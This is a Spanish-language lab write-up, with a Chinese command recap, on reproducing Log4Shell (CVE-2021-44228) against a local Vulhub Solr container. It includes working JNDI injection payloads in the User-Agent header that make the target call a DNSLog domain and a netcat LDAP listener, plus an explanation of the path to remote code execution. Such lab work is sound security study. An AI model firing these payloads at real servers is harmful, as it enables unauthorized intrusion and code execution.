hmxh123/log4shell-vulnerability-replicationRegistro completo de la reproducción de la vulnerabilidad CVE-2021-44228 (incluye configuración del entorno y verificación de la activación)
Este registro se basa en el laboratorio Apache Solr 8.11.0 proporcionado por Vulhub, reproduce por completo la vulnerabilidad de inyección JNDI de Log4j2 y verifica la existencia de la vulnerabilidad mediante DNSLog y la escucha LDAP local.
vulhub/log4j/CVE-2021-44228)Dado que la conexión directa a GitHub es inestable, se utiliza el espejo de Gitee para acelerar:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
Configurar el acelerador de imágenes exclusivo de Alibaba Cloud (inicie sesión en el servicio de imágenes de contenedores para obtener su dirección personal):
Abra Docker Desktop → Settings → Docker Engine
Modifique registry-mirrors:
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Haga clic en Apply & Restart
Si aún se produce un tiempo de espera del protocolo de enlace TLS, entre a WSL y ejecute sudo hwclock -s para sincronizar la hora.
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
La salida muestra el éxito:
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
Al visitar http://localhost:8983/solr aparece la interfaz de administración de Solr; el entorno está listo.
Solr no tiene ningún core por defecto; debe crearse manualmente:
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
Devuelve "status":0; el core test se creó correctamente.
Abra el navegador y visite http://dnslog.cn, haga clic en Get SubDomain y obtenga un dominio temporal, por ejemplo abc123.dnslog.cn
Ejecute en la línea de comandos (use curl.exe para evitar la interferencia de los alias de PowerShell):
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Vuelva a la página http://dnslog.cn, haga clic en Refresh Record y aparecerá inmediatamente el registro de resolución DNS, lo que demuestra que la vulnerabilidad existe.
Inicie la escucha en WSL: nc -lvp 1389
Obtenga la IP del host (ejecute ipconfig en Windows PowerShell y encuentre la IP de la tarjeta de red virtual de WSL, por ejemplo 172.30.208.1)
Envíe una solicitud maliciosa con la IP local:
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Observe la ventana de nc; se muestra la información de conexión:
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Esto demuestra que Solr inició correctamente una consulta LDAP hacia la máquina atacante y que la reproducción de la vulnerabilidad fue exitosa.
La función JndiLookup proporcionada por Apache Log4j2 permite el uso de marcadores de posición con el formato ${jndi:ldap://...} en los mensajes de registro. Cuando se registra un mensaje de log, Log4j2 analiza el marcador e intenta acceder a un servidor LDAP remoto mediante JNDI. Un atacante puede montar un servidor LDAP malicioso que devuelva un payload de deserialización de Java, logrando así la ejecución remota de código.
En esta reproducción, al establecer el encabezado User-Agent como payload malicioso, Solr registró esa cabecera al procesar la solicitud, lo que desencadenó la consulta JNDI y demostró la existencia de la vulnerabilidad.
✅ Se construyó con éxito el entorno de vulnerabilidad de Vulhub, superando varios problemas de la red china (secuestro de DNS, aceleración de espejos, sincronización horaria de WSL, etc.).
✅ Se completó de forma independiente la activación de la vulnerabilidad, verificando la inyección JNDI mediante DNSLog y la escucha local.
✅ Se comprendió en profundidad el principio de la vulnerabilidad Log4Shell y la cadena de ataque de la inyección JNDI.
✅ Se acumuló experiencia práctica en la resolución de problemas de red de Docker, configuración de WSL2, limpieza de proxy de Git, etc.
| Síntoma del problema | Causa raíz | Solución |
|---|---|---|
| git clone 502 / tiempo de conexión agotado | Secuestro de DNS / interferencia de proxy | Usar el espejo de Gitee, limpiar el proxy de Git y refrescar el DNS |
| Extracción de imágenes Docker 429 | Limitación de velocidad en la fuente pública de imágenes | Configurar el acelerador exclusivo de Alibaba Cloud |
| TLS handshake timeout | Desincronización horaria de WSL2 | sudo hwclock -s sincronizar la hora |
| La vulnerabilidad no se puede activar | Core no creado o ubicación incorrecta del payload | Crear el core y usar el encabezado User-Agent |
# 克隆 Vulhub（使用 Gitee 镜像）
git clone https://gitee.com/hanxu2486/vulhub.git
# 进入漏洞目录
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# 启动环境
docker-compose up -d
# 创建 Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# DNSLog 验证
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 本地监听验证（WSL 中运行 nc）
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 关闭环境
docker-compose down
Proyecto oficial de Vulhub
Detalles de CVE-2021-44228
Plataforma DNSLog
Fecha de redacción: junio de 2026 Autor: HanXu Dirección del repositorio: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication